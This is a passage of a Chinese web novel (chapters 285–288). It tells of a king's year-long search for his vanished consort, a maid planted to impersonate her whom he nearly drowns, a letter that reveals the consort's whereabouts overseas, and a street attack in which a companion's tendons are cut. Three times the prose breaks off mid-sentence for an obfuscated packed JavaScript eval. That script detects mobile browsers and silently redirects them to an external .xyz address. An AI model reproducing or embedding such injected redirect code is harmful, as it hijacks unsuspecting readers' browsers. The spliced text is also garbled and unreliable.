“这是我告诉了你,你才区分出它二者颜色不同,可天光下,光凭丝线颜色一个不小心就会混淆,还会损坏药材。” “这该如何是好?”云娘问道。 “你让宫奴备些热水来,温水即可。” 云娘忙不迭地去了前面,让宫奴备热水,端了来。 申胡维用手试过水温,将药材放入水中,云娘有样学样,从旁打下手。 “放入水中浸泡,只需几息便可,时间莫要过长,然后取出,此时用指轻捻,金丝草内里异常坚韧,温水短暂浸泡后轻捻,其表面虽然微有软化,但极难捻散,而银丝藤相反,所以,能捻断的是银丝藤,不能断的就是金丝草。” 申胡维一面解说一面示范。 云娘学着他,捻了捻手里的细藤,一捻就散,然后又换了另一根,却坚韧不散。 “还真是!这下好区分了。” “是,且短暂的温水浸泡不会损坏药性。” “申宫医,以后你多来司药局,教教我药理。”云娘欢喜道。 “好……” 自那之后,他便常来司药局教她辨识药材,随她发问,他都会耐心地教她。 后来,两人渐熟,她得知他曾有一房妻室,后来病逝,留有一子,她为感激他,下值后便会做些小孩的衣鞋,然后赠予他。 其实两人心意已通,却都不宣之于口。 她离开王庭之前,也没告诉他一声,很突然地就离开了,不知道他现在好不好。 他能有什么不好呢,家中境况不错,又有官身,不过是她心上惦记罢了。 云娘将信收好,起身之际又问那后生:“那驿站在麟德大道?当真可送往外海?” “是,咱们京都最大的驿站,你去麟德大道随便扯个路人一问便知。” 云娘付了银钱,拿着书信,往麟德大道行去…… 第285章 一年了,也该添新人了 夷越吞并大梁后,梁城成为夷越第二大都城,壁垒尽除,整片境土两族人互通往来,经济比之从前更加繁荣兴旺。 为整合国力,颁诏开科取士,以定人才选拔之制。 这日,一艘海船抵达港口,两侧放下宽大的船板,搭嵌到码头上,一侧用于船客通行,一侧用于货物通行。 通行货物的一侧,四个役夫抬着一兜货物下了船,转放到岸上的板车上,那板车驶离,往就近的城镇驶去,最后停在一家驿站前,出来几人,将货物拖下。 三日后,一辆装着书信的快马从此地往夷越都城疾驰而去。 …… 一年,呼延吉吞并大梁后的一年,这一年里,不论是呼延吉还是江轲,几乎找遍了整片境土的所有角落,江念如同在这世间消失一般,一无所获。 同一时,也是这一年,江念正在海另一端的大夏国开起了香料铺子,生意做得风生水起。 仍是这一年,江念不在的这一年,发生了太多事,大到家国,小到一角一隅,王庭新进了许多宫婢,有越女,有梁女。 千鹤没料到自己被分派到西殿当值,更没料到不过几日的工夫,直接从外殿升成君王的贴身侍婢。 不仅她没料到,所有人都没料到。 而这一点小小的动静也传到了高太后耳朵里,高太后对此是乐见其成的。 出于她的角度来说,内廷妃位空虚,且只一个王嗣,这样的王族是经不起一点风浪的,稍有不慎自己就熄灭了。 像是高烛,任你再大的烛体,燃亮的地方只一星,稍一吹,没了。 “我听人说那宫婢也是梁女,有江丫头的影儿,这样也好,吉儿可借此女稍纾思怀。”高太后说道。 金掌事在一边听了,说道:“只怕是残香续炉,旧香未燃烬,取新香强续前烟,终非原味。” 高太后叹了一息,一年了,也该添新人了。 千鹤下午不当值,因今夜需要进寝屋值夜,这是她头一次近身侍候大王。 内心的忐忑和那不愿承认的羞怯让她无法静下来,躺在榻上脑中尽是那位容貌出群,顾盼伟然的男子。 不知是不是错觉,他看向自己的眼神有些不同,这一点认知让她的心不争气地不受控起来。 天色微暗,她起身,坐在镜前对看,重新拆散发辫,仍是照着先前那个样,分成两股编织成辫,环在两个耳朵边,然后从妆匣中拿出一个盒,用指点了些,抹搽。 整妆毕,再次对镜自照,镜中女子白皙的脸,翠弯弯的眉,嘴角噙着一抹浅浅的笑。 出了屋,一路去了西殿。 木雅正指着几个外殿宫婢分派事务,见那名叫千鹤的宫婢来了,不着痕迹地打量一眼,并不多说什么,领着她往寝屋行去。 仍是穿过露泉台,千鹤眼梢瞥见露台的案几边铺有好大一张虎皮,头一次并未注意。 行过一段路到了王殿的寝屋前。 “以后你就近身伺候王,这寝屋内的一应事物你需得尽着心,把手头事务做好,眼和心擦亮了,情愿实笨些也不要自作聪明。” 木雅说完看着千鹤,出于好意提点几句,也不知这新进的婢子能听进去几分。 “是。”千鹤应下。 “进去候着罢,大王未归,待他回殿,你的事就来了。” 木雅说罢,便离开了。 千鹤进了寝屋,这屋子很大,点着莹莹火光,光晕如纱,一眼看去,不如外殿豪奢却是低调的富丽,陈设简单,半边帷屏挡住内里的王榻。 亮洁的地板映着烛光,更显静谧,屋中有一方嵌炉小矮案,案下铺着柔软的植纹毡毯。 她的眼睛在屋内转看着,然后往前走了几步,瞥见王榻的枕边整叠着一件女衫,那是一件翠墨色的女装。 正想再近前几步,听见外殿的响动,心中紧张起来,忙退到一边垂手侍立。 响动的步子越来越近,脚步声中一群人进了屋,为首之人正是君王,他的身后随着一众宫人,这时上前两名大宫婢,行到王榻前,铺床理被。 千鹤认出这二人,一个叫达娃,一个叫帕依,好像是姊妹,接着又是其他宫人换烛、换冰匣等,每个人都有条理地静静忙动着。 待宫人们将寝屋整理一番,便依次序退出。 屋室安静下来,千鹤微垂着头,那迫人的威压将她挤在角落,低垂的余光中,那人坐到矮几边,背对着她。 在这重重的沉压下,她意识到她的职责,于是碎步上前行到君王面前,无声地净琉璃杯,再以冰水过杯,倒掉,以香匙取花茶放入杯中,沏入冰水,最后以冰镇住。 素手推到对面。 “大王用茶。” 呼延吉压下眼,看着那杯冰花茶,再抬眼:“为何不沏清茶,沏花茶?” “婢子不知,只是心中觉着王应当是喜欢花茶的,若是不喜,婢子再沏一杯清茶。”千鹤柔声道。 “不必,就花茶。” 呼延吉执起杯盏,慢慢将花茶饮下。 “你叫千鹤?” “回大王的话,是,婢子叫千鹤。” 呼延吉放下琉璃盏,觑看向对面:“喜欢这样扎辫儿?为何同别人不一样?” 千鹤先是一怔,接着微笑道:“这里面扯了一桩奇事,婢子怕说了大王不信。” “哦?说来听听?” “婢子原不住京都,老家离这里好远,一家人被恶霸欺压,有一日起了争执,推搡间摔破了头,醒来已是三日后,不知怎的,脑子里好似有个声音,听也听不清,之后婢子发现言行越来越不像自己,变了一个人似的,可是怪。” 呼延吉点了点头,嘴角带着一丝隐隐的弧度:“继续说,我爱听。” 千鹤重新为呼延吉沏上花茶,继续说道:“之后婢子便经常做梦,梦里好些事情婢子都没经过,莫名生出那些梦来。” “什么梦?” “有一次婢子穿着一件翠墨色的骑装,骑着一匹白马在阔大的草地上甩鞭驰骋,嘴里还叫着‘追风’快些。”女子说着轻笑出声,“可婢子并不会骑马。” 说罢眸光一转,顿在一个方向,呼了一声:“那翠墨色的骑装……” 呼延吉沿着她的目光看去,正是他枕边的那件衣衫。 千鹤两眼惊欠,似是有些不信这样巧的事。 呼延吉的面上没有太大波动:“继续讲。” “那些梦断断续续的,没个头尾,都是些无足轻重的琐事,说出来怕大王嫌烦。” “不打紧,你说。” “又是一夜,婢子梦见被打手板,好似做了错事,那手心可疼。” 说到这里,女子脸红了,低下声:“还梦见一男子,可婢子看不清他的模样,又梦见一个大房子,很大很大,点着许多灯烛……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15905369|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>呼延吉轻笑一声:“所以你现在到了这间大房子?” 千鹤脸色更红,点头道:“婢子也不敢相信这是真的,还以为在梦里。” “还有呢?” “这梦模糊,断续着,醒来后有些记得,有些记不得。” 呼延吉“嗯”了一声,招手道:“到我身边来。” 千鹤心跳如鼓,膝行到呼延吉身边,他毫不费力地将她拉近身,再慢慢俯到她的耳边,也不说话,呼出的气快要将她热化。 然后退出一段距离,听他说道:“知道你身上很香么?” “婢子也不知怎么回事,从那次昏迷中醒来,身上就带香。” “自带体香?”呼延吉笑了笑,站起身,“来,替我宽衣。” 那灼人的气息退开后,千鹤才回了一些气力,于是赶紧起身替他宽衣。 待褪去外衫,呼延吉往寝屋外走去。 千鹤作为贴身侍婢,随在身后,行到沐室前,便止住了脚,木雅说过,大王沐身不喜人近身伺候。 “进来。” 呼延吉这一声叫守在两侧的宫婢们都吃了一惊,大王居然让这新进的宫婢伺候沐身? 千鹤不作迟疑,随君王进了浴室,沐室里雾气氤氲,她头一次见这样阔大的池,澄澈碧清,水面腾着丝丝烟。 正在发怔之时,一个声音从后响起:“下去。” 千鹤不明情况,说道:“婢子卑贱,不敢入池,污这清泉水……” 话未说完,“扑通——”一声,人已被一个力道推向池里。 千鹤在不防备中落水,慌张地在水里挣,刚冒出头,又一声“扑通——”,就见大王入到水里,肃着脸,分水行到她身边,她来不及多想,本能地感到危险和害怕。 黑影压来,一个力道控住她的后脑,在她还未抹干脸上的水珠时,将她死死压进水里。 “唔——” 女人用尽全身力气在水里扑腾挣扎,可是对抗不了一点,心跳越来越快,越来越响,响在她的耳道。 胸腔挤压着,无法呼吸,下一刻,她会死,死在这个池子里,他要她死…… 在她丧失意识之前,脑后的力道骤然撤去,整个人被抛向空中,水沥沥地砸到池案上,就像菜市上待剐鳞的鱼,来不及感受疼痛,只是大口大口地喘着。 巨大的“哗啦”声,余光中那人从水里起身,一步一步朝她走来,每一步都让她害怕,她的生命正随着他的靠近一点点地缩短和流逝。 “大王饶命……”千鹤颤着声不住地讨饶,“大王饶命……” 呼延吉蹲下身,看了眼女人湿透的衣衫,近乎透明地贴着身体,透出里面的肉色,然后探手提起她的衣领,湿薄的衣衫恨不能被扯碎。 千鹤双眼颤着,一脸惨色,连嘴唇都在哆嗦,直到这一刻她才看清眼前之人,那双琥珀色的眼,盛满即将杀她的快意和兴奋。 怎么会是这样?!不该这样。 呼延吉再次凑近她,低嗅一下,呵了一声:“体香呢?”接着一手锢住女人的颈脖,陡然加重力道,狠声道:“你的体香呢?!说!你的体香呢!” 千鹤扒着那只手,只有对生的渴望,艰难地摇着头:“没有……体香……没有……” 就在她以为颈脖要折断之时,那力道松开。 呼延吉起身,走到椅边懒懒地坐下:“谁让你来的?” 第286章 送往西殿的书信 千鹤粗嘎的吸着气,一手抚着喉,哑声道:“咳咳……婢子家确实得罪当地恶霸,从原来的梁境……逃到夷越,在京都附近的村子落脚……” 女子又猛咳了两声,咽了一口唾沫:“这些话并未欺瞒,突然有一日,一个村妇找上我,她说王庭正召宫婢,让我去试试,之后她给了我一盒香,又同我说了许多话,先前婢子说的‘梦中事’都是她告诉我。” “你的这些言行是那村妇教你的?”呼延吉复问道。 “是。” “那村妇叫什么?”呼延吉追问道,他希望这村妇是云娘,不管她是什么目的,他能通过这条线找到江念。 千鹤不敢隐瞒,直言道:“她说她叫阿星……” 阿星?呼延吉想了想,记了起来,是从前江念跟前的丫头,照顾过金豹,后来被逐出王庭。 当下吩咐搜捕阿星。 在搜找到阿星之前,呼延吉仍抱着希望,哪怕这份希望不切实际。 他希望江念同这个阿星在一起,所有的一切都是江念的恶作剧。 待他找到她后,一定会狠狠地责罚她,怎有这样狠心决绝的女人,整整一年音讯全无,消失的如此干净利落。 不过她若肯说几句软话,他会考虑惩罚得轻一些,只打她的手心。 然而,在抓到阿星经过一番刑审后,希望落了空。 至于这个阿星为何要这样做,无非出于扭曲的妒愤或是畸怪的阴暗报复,呼延吉根本不关心,直接下令将其杖毙…… …… 夷越都城,东南市第三街,巷口南第一家,申府…… 一个六七岁的小儿拉着一个年老妇人:“阿嬷,我爹爹呢?” 老妇人回答道:“老爷在王庭未归呢。” 小儿又问:“已经好几日了,从前没这样过,为何一直不归家来?” “王庭里的贵人生病了,老爷要给贵人看病。”老妇人温声道。 小儿想了想,问道:“哪个贵人?是大王么?” “这个就不知晓了,小郎君不必急,老爷想来不久就会回。” 正说着,管家带着两个手抱包裹的小厮从后面走来,老妇人见了,随口问道:“老爷可有说几时回?” 管家摇了摇头:“未曾告知,如何知晓,不知是君王病了还是哪位贵人身体有恙,我让人清些衣物,正准备往王庭送去。” 话音刚落,前面跑来一小厮,停到管家面前,气喘道:“叔,有老爷的书信!” 管家从小厮手里接过,转手递给身后的小厮,嘱咐塞到包裹里,待会一并递进王庭。 小厮遵照做了。 管家正要领着小厮离去,身后的小儿叫住他。 “小郎可还有事交代?”管家问道。 小儿拿脚蹭了蹭地面,低声道:“你去了王庭再问问,怎的云姨不来看我,她从前不当值时,都会出王庭来看我,现在怎么不来了?” 说着又赶紧补了一句:“我不是想她,是因为她来了爹爹就高兴,我这才问一句。” 管家笑着同小儿身后的老妇人对看一眼,点了点头,应下了,然后带着两名小厮,离了府。 三人乘着马车一路行到王庭前,王庭前立着一排银甲亲卫,马车并未太过靠近,而是转去另一个方向,在一个小屋前停下。 屋前闲坐着一个瘦高个头的宫奴,见了三人,问道:“何事?” 管家躬身回道:“申府的,给我们老爷递衣物。” “申宫医府上?”宫奴往那包裹扫了两眼。 “是。” “放桌上,一会儿清点。”宫奴拿下巴指了指。 管家便让两名小厮把包裹放到桌上,然后离开了。 这处小屋是内侍司用来临值的,送往王庭内的所有物件都要搁在这里,经由查验后,方转送入王庭。 管家前脚带人离去,后脚一骑飞马驰来,来人翻身下马,走到宫奴面前,将一封书信放到桌上,然后就离去了。 宫奴也不歇了,起身把两个包裹打开,将里面的衣物一件一件清点出来,细细检查,然后再一件一件重新塞入包裹,正巧这时有人来换值。 先前那宫奴简单交代两句:“这两个包裹送去宫医署,已检查毕。” 这话说得简省,只说送宫医署。 说罢,那瘦高个儿头的宫奴就走了,后来的宫奴把包裹系好,又看了一眼桌上的书信,心里疑惑,拿起来往信封看了一眼,仍是江家那位小国舅寄来的。 正要叫人往里送,发现桌上还有一封书信,于是拿起扫了一眼。 “申申……” 申申是何人? 说来也是巧,适才换值之时,前面那个高瘦宫奴只说包裹送宫医署,未点明申宫医,后来的宫奴便没往申宫医身上想。 再加上信封的邮寄地不是夷越境内,而是外海,后来的宫奴便认定此信不同,不敢私自做主,于是把两封信一并递交到大宫监丹增手里。 丹增看着手里的两封信,也疑惑申申是何人? 可不管怎样疑惑,这封书信已落到他手里,他只能继续往上递,万不敢瞒下。 于是让小宫奴把信送往西殿。 …… 西殿,死一样的寂静,自从梁妃离开后的一年,西殿就不像活的,这段时日,更是叫**气不敢出。 殿里的空气是沉沉的水,在西殿当值的人情愿在水里憋死,也不愿冒出头。 此时,一个宫婢端着托盘往寝屋走去,这盘上放着一碗才熬煮好的汤药。 走到寝屋前,立住,守在屋外的两名宫医看了一眼药色,点了点头,宫婢这才进入。 屋里,呼延吉倦坐于椅榻上,半散着发,只着一件月色长衫。 端药宫婢走了过来,另一宫婢端出汤药刚放到榻几上。 “拿走。” 君王无情无绪的两字,叫宫婢端放的手一抖,差点将汤药泼洒出来。 “放着,你们退下。”一个略显苍沉的声音。 这一声叫殿内的宫医和宫婢们吁出一口气,退到殿外守候,而说这话之人正是高太后。 “你都找了她一年,若还在世,怎么可能一点音讯也无?我儿,你也该醒过来了。” 江丫头离开,在找寻她的这一年里,小儿子就没有好过,性情越来越乖戾不耐,不止内廷,连朝臣们在大殿进言都得夹尾缩脖。 眼前的小儿子全然换了个人似的,叫她这个母亲也认不出,这段时日不知怎的,他又开始头疼,宫医来看诊,说是思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15911895|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虑过重所致。 呼延吉手肘在案上,撑头不语,眉心蹙着。 “王先把药喝了。”高太后说道,然后给身边的金管事睇了个眼色。 金管事上前将药碗呈到呼延吉面前,可呼延吉并不理会,依旧撑着头,紧蹙的眉心隐在掌心。 “你把自己折腾成这样,好不容易打下的江山也不要了?对得起你父兄么?”高太后说道。 然而呼延吉仍闭着眼,不知是头疼得太厉害还是怎的,好像一直压制着。 高太后见他这样,不得不调换言辞:“朔儿还小,你真有个好歹,叫这孩子怎么办,江丫头最是心疼朔儿,她若知道你不顾亲子,也会怨你。” 过了一会儿,呼延吉终是抬起头,接过金管事手里的汤碗,一声不言语地把药喝了。 小儿子身为君王,膝下只有一子,梁妃又不知是生是死,如今内廷妃位空虚,子嗣单薄,经不起一点意外。 高太后本想着,要不挑选几个同梁妃模样性情相似的女子,暂解他的苦闷,谁知还没动作就听说,他把一个长得像梁妃的女婢打了个半死,扔到牢里。 寝殿外,木雅领着一众宫婢垂手侍立,随时听候吩咐,她的对面是几名值守的宫医。 这些宫医已在王庭守了好些时日,不曾归家,一个个看起来面目憔悴。 这日子不知什么时候是个头。 正想着,一个小宫奴碎步走来,将手里的书信递到木雅手里。 “才到的信,不敢耽搁,大宫监让奴带进来。” 木雅接过,往信封上看了眼,移步到一边,招那小宫奴上前,以极低的声音问道:“这另一封信是怎么回事?” “不知,大宫监只说让奴送进来。” 木雅点了点头:“你去罢。” 木雅拿着两封书信候立于寝屋外,待高太后离去后才进入,躬身上前,呈上书信:“大王,前廷送来的书信。” 呼延吉看了一眼,接过,把手里的两封信错开,盯着另一封信:“这是什么?” “婢子不知……”木雅低下声。 先是静了一息,接着一声轻嗤:“不知?你不知道就敢往我这儿送?!” 呼延吉本就头疼,心火窜动,当下把手边的药碗挥落在地,碗底的残汁和瓷碗在地上开了花。 “越来越不懂规矩了。”呼延吉沉声道,“再有一次,自去领罚。” 木雅赶紧伏地:“婢子知错。” 呼延吉不耐烦地摆了摆手。 木雅赶紧收了地上的残渣退了出去。 呼延吉将那封写着“申申”二字的书信丢到一边,打开江轲寄来的书信,细细看了。 信开始仍说他去了哪几个城,搜找江念的情况,不过这次信尾没说接下来要去哪儿,而是说他现在在徽城,暂歇一日,然后出发来王庭看看朔儿。 估让也就三两日到。 呼延吉把信随手一丢,那张薄薄的信纸就那么飘到了地面。 男人支起一条腿,凭着矮几,眼梢瞥见压于胳膊下的另一封书信,鬼使神差地拿起,也是这会儿,才往信封细看,发现寄件地是外海。 大夏国? 呼延吉将封在手里翻了翻,拆开信封,抽出信笺,展开看去…… 第287章 终于有她的消息了! 呼延吉将书信展开,扫了一眼。 本是漠然的脸,突然凝重起来,再然后两眼慢慢睁大,看了一遍不够,又看了一遍。 像要把纸盯穿。 这上面没有点人名,可他可从字里行间读出此信是那个叫云娘的妇人写的。 信中大部分都是废话,首尾不通,可呼延吉把纸上的字字句句都嚼碎了,黏出他要的信息。 写信人说,因差务离了王庭,陡遇变故,未能完成交代的任务,不得不另作打算,并非不辞而别,她们在大夏都城买了一方小院,还开了一家香料铺子,同友人住在一起,日子过得还可。 再之后言辞含糊地讲了一些海船遇险,后面就是书上摘抄的前言不搭后语的相思诗句。 呼延吉双手颤着,红着眼眶看着这封信,就像这封信是江念写给他的一样。 然后霍地从椅上站起,赤着脚在地上走来走去。 终于有消息了……终于…… 呼延吉一手捂着脸,一手撑于桌上,双肩微微耸动,待到心绪稍平后,朝外叫了一声:“来人!” 木雅一直候在屋外,听见召唤心里一紧,如今在西殿做事,个个提心吊胆,没有不怕的。 然而当她进到屋里,却听大王说道:“让申胡维滚进来。” 这话听着没什么,字面意思就是申宫医要完蛋了,可大王的腔调好像有些欢喜。 怎么……会是欢喜…… 惊诧间,木雅抬看一眼,就见大王双眼清亮,嘴角勾着笑,这一变化太大,让她觉得不真实。 “还不快去?” 又是一声,这一声似乎也没怒气。 木雅赶紧应下,转身出了寝屋,申胡维听说大王让自己进去,心里未免忐忑。 刚进屋中站定,就听见君王在上首说道:“这信可是写给你的,申申?” 申胡维身上一阵寒,脑子跟身体都是懵怔的,一张信纸飘落到他的脚下,于是赶紧捡起,凝目看去,从头看到尾。 这……这是云娘写给他的。 一年前,她突然从王庭消失,连声告别都没有,他问遍了周围所有人,无人知晓。 这是她写给他的没错。 接着呼延吉又将信封丢到申胡维的脚边:“捡起来。” 申胡维将信封捡起,上面写着他府上的住址,收信人:申申,寄信人空着,这一下越发肯定了,当下伏地,乞道:“若是此妇人有罪,臣愿代之受过。” 一语毕,呼延吉两步上前,一脚将他踹翻。 “好你个申胡维,你二人暗地里私通书信,一个申申,一个真爱你的云,叫本王活**一般苦熬,不得见吾妻,本王当真是小看你了。” 申胡维愕怔片刻,磕头道:“臣并不知情,这书信也是头一次收到,不敢欺瞒大王。” 呼延吉不愿同他计较,眼下他还有更重要的事情,一把抢过申胡维手里的书信,贴心收好,这样他就离她更近一些,尽管这信不是寄给他的。 “待本王把人寻回了,再同你二人清账。” 呼延吉等不了一刻,当即召了崔致远等几个心腹,把自己准备出访大夏国的打算说了,然而不论是这几个心腹还是高太后,全部反对。 哪怕是崔致远,这次亦不赞成。 君王离境风险太大,且呼延吉又无兄弟,只一个刚满三岁的小王子,但凡出事,对夷越无异于灭顶之灾。 呼延吉急得整宿不能合眼,他自己也知道,身为君主不能弃国于不顾,肩上有重担。 恰好,没两日江轲来了。 江轲因愧对呼延吉,若不是为了看小外甥,他是没脸来王庭的。 可当他听呼延吉说已寻到阿姐的行踪,他的耳朵开始嗡鸣,直到呼延吉叫他几次,他才回神,小心翼翼地问道:“阿姐在大夏国?” 呼延吉点了点头。 等江轲终于平复心情,却发现呼延吉面色不对。 “找到阿姐了,你怎么仍这个样子?” “我没法亲自去大夏把她带回。”呼延吉说道。 江轲会过意来:“放心,有我呢,我去把阿姐接回,你二人分离因我而起,这次无论如何再不叫你二人分开。” 呼延吉盯了江轲好一会儿:“你能办到?” 江轲拍着胸脯:“这个自然。” “我还能信你么?”呼延吉仍有些不放心。 江轲站起身,十分认真地说道:“我若不能将阿姐带回,就在你面前自戕谢罪。”说着从腰间取出一把**搁于呼延吉面前。 呼延吉睨着那**,说道:“你死不死无所谓,我怕你不仅没能把她带回,反把人弄丢了。” 江轲一噎,又道:“我亲自去,一来阿姐见我完好无事,二来我再把李旭诬陷你的事告诉她,她怎会不回?” 呼延吉觉着有些道理,他和她之所以分开就是因为误会,澄清后,她没道理不回,况且就算不看他,看在朔儿的面子上,她也一定会回。 然而,呼延吉仍不能尽信江轲,此事他得好好筹划一番。 大梁原先同大夏相交,素有商贸往来,及至夷越吞并大梁,此商贸往来并未断绝。 夏国皇帝曾遣使臣至夷越,商谈两国相交之事,他正欲遣使臣往赴大夏。 “过两日,你随使船一道出访大夏,务必将她带回。”呼延吉说道。 江轲点头应下。 于是,呼延吉让崔致远拟了一份国书,使臣带着国书以及百来名仆从、护卫还有通好之礼,乘着出访的海船往大夏驶去。 江轲同在这艘海船上,带着接回阿姐的决心,弥补自己曾经犯下的大错,往大夏去了。 …… 短短一年的时间,江念的香远山在大夏京都的权贵圈声名鹊起。 她铺子的香料并不便宜,可仍被那些高门女眷遣来的仆人一抢而空,常常供不应求,甚至出现本想买冷香,结果冷香没了,情愿换暖香也不愿空手而归。 之后,江念又召了两名香工并一个账房管事,加上沈氏,香远山就有三名香工和一个管事。 云娘和秋水也在店中帮忙,因加了人手,她们轻松了许多,不论怎么说,这一年总算是挺过来了。 这日傍晚,店门半闭,沈氏等三名香工还有账房已离开,云娘因前几日受了风寒,秋水留在家里看顾。 出门前几人商议好,秋水在家照顾云娘,晚间闭店时,苏和赶马车来接江念。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15911896|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是以,江念便留在店里盘账,没过一会儿,苏和赶着马车来了,在外叫了一声。 “念娘——” 江念朝外应了一声:“这就来。” 江念把手边的账本规整放入抽屉里,锁好,转身出了店铺,锁上店门。 苏和搬来车凳方便江念踮脚上车,等她入到车里,再替她打下车帘,又问了一声:“坐好了?” “好了。” “好嘞!”苏和笑着应下,一扬鞭子,车马朝长福坊缓缓行去。 江念坐在车内盘算着今日的账目,虽是请了账房先生,每月她仍会亲自对一次账。 马车遽停,她的身子往前一倾。 “怎么了?” 江念没听到应答,就要掀帘,苏和的声音从外传来:“坐着,别出来。” 他的声音不对,压沉着,接着就听到另一个声音。 “苏和!你这异狗!害小爷被逐出蹴鞠队,今日定要打断你的狗腿,教你爬着回去!” 江念听到这声儿,把窗帘揭起一点缝隙,探看去,就见一个男人领着一帮子人横拦在他们马车前。 这个时候街面没什么人,那些人看着并不好惹,就是有路人经过也避让着走了。 而中间叫嚣之人江念认得,正是那日蹴鞠比赛带头孤立苏和的红队队长,冯三郎。 “你待要怎样?”苏和问道。 “怎样?你抢了小爷的位置,小爷就不想让你好过!”冯三郎说罢,看了眼苏和身后的马车,调笑道,“哟!还带了个女的。” 苏和跳下车辕,走到冯三郎对面。 “要钱还是怎的,若是要钱,我赔你。” 苏和并不是服软的性子,可他现在不想惹事,念娘还坐在车里。 冯三郎似是听到极好笑的事,笑了起来,他一笑,他身后的一帮人也跟着笑。 “狗东西,小爷差你这点钱?”接着恶狠狠说道,“小爷就不想让你好过!给我打!” 江念听到外面乱糟的声音,再次打起车帘,就见苏和同那群人打在一起。 苏和拳脚厉害,比那些大夏人高大而且出手狠、重,那些人竟不能将他怎样。 冯三郎没想到苏和力气这般蛮狠,一时间治不住,便把主意打到马车里的江念身上,带了几个袒露半臂的男人冲到马车前,掀开车帘,把江念揪下马车。 苏和一直分神注意着马车,却被人拖住抽不开身。 “不要动她!” 说话间,一个不防备被敲倒在地。 而冯三郎已把**抵在江念的颈脖上,又往江念脸上扫了一眼:“咦?这不是那日给你助威的小**么。” 说着拿刀背在江念脸上拍了拍:“啧啧——倒是好颜色。” 苏和单膝跪地,双眼死死盯着对面:“别动她,你别动她,有什么冲我来。” 冯三郎冷嗤一声:“冲你来?” “是,放了她,我任你们处置,你们想怎样便怎样。” “这可是你说的。” 苏和没有片刻犹豫:“我说的。” 冯三郎拿指在江念面上一划,贪恋地搓了搓残留指尖的滑腻,接下来阴毒地说了一句。 “把他的脚筋给我挑了!” 第288章 我救他,你如何回报我? 以苏和的拳脚和气力,他可以摆脱这些人,但冯三郎拿江念威胁,苏和不得不罢手,跪于地上,求他不要动江念。 冯三郎并不差钱,他就想让苏和不好过,出心里这口恶气。 “听到没有!我说把他的脚筋挑断!” 那些打手有些迟疑,本以为只是拿钱助涨声势,现在却要挑人脚筋。 江念一口咬在冯三郎的胳膊上,想要挣脱,冯三郎暴起,“啪”地重重给了她一耳刮。 “贱妇,那日不是你,哪有这狗腿子今日。” 苏和见江念被打,就要冲向冯三郎,冯三郎却把刀抵在了江念脖上:“再动一下试试,不想要她活了?” 苏和不得不生生止住脚。 江念忍着脸上的疼痛:“你既然不差钱,家中富足,就算退出蹴鞠队,之后的日子也衣食无忧,做什么不好,非要害人,今日你若挑了他的脚筋,你也逃不了罪责。” 谁知冯三郎大笑一声:“小**不必拿话压我,他一个外族人,别说挑他脚筋,就是打断他的腿,要他的狗命,也没人管这档子事。” 说罢,冯三郎看向他请的打手,喝道:“一群窝囊鼠辈,怕甚,谁来?挑断一只脚酬金翻倍,挑断两只……再翻!” 重金之下,打手中一人上前:“我来。” 江念两眼通红,想要从冯三郎手里挣脱:“苏和,你走,傻了?你傻了吗?快走——” 冯三郎戏笑一声:“有你在,他走不了。”说罢,看向对面,“伏下身!” 苏和低下头,先屈下一膝,接着再屈下另一条腿,然后双手撑地,整个人呈马伏状,把脚踝露出。 “苏和——你走,别傻,听我的,你就算这样做了,我也不会领你的情,听见没有,我求你……”江念的脸上早已湿凉一片。 苏和不语只是趴伏着,垂着头。 打手执匕走到苏和跟前,蹲下身,江念的叫喊还在,手起刀落,来回狠狠两下,动作利索,**上染了血,眨眼的工夫,地上也是血。 苏和仍趴伏着,没有发出一点声音。 冯三郎满意地笑道:“小爷让你这辈子也踢不了蹴鞠。”然后放开江念,带着一帮人走了。 江念什么也顾不得,奔到苏和身边,试着拉他,却拉不动,苏和的一只手紧紧捉住江念的小臂,声音低得几不可闻。 “念娘,你有没有事……” 江念抱着他,把他往马车上拖,满头满脸全是汗,眼里的泪不停地往下滚,一个字也说不口。 她的目光不敢落在他的脚踝,好像她不看,那里的伤口就是静止的,不会流血,不会痛。 “来人——来人——帮帮我们——救人呐——”江念带着哭腔叫喊着。 有个经过之人见此情形,于心不忍,上前帮江念把苏和抬到马车上,指说道:“前面不远就有一家医馆……算了,我赶车带你们去。” 那人腾坐到车辕。 江念连连道谢,一咕噜爬上马车,坐到苏和旁边,安抚他:“没事的,没事的。” 她看着他,可能实在疼狠了,双眼紧闭,眼睫颤着,唇色发白,被人用**挑筋时,恁是一声不吭。 “念娘,让我靠一靠,有些困……”苏和轻声道。 他失血过多,江念怕他睡过去,拍了拍他的脸,大声道:“不能睡,等你好了我让你靠,现在不能靠,不能睡。” 苏和嘴角带着一点笑,可那笑的弧度很虚弱。 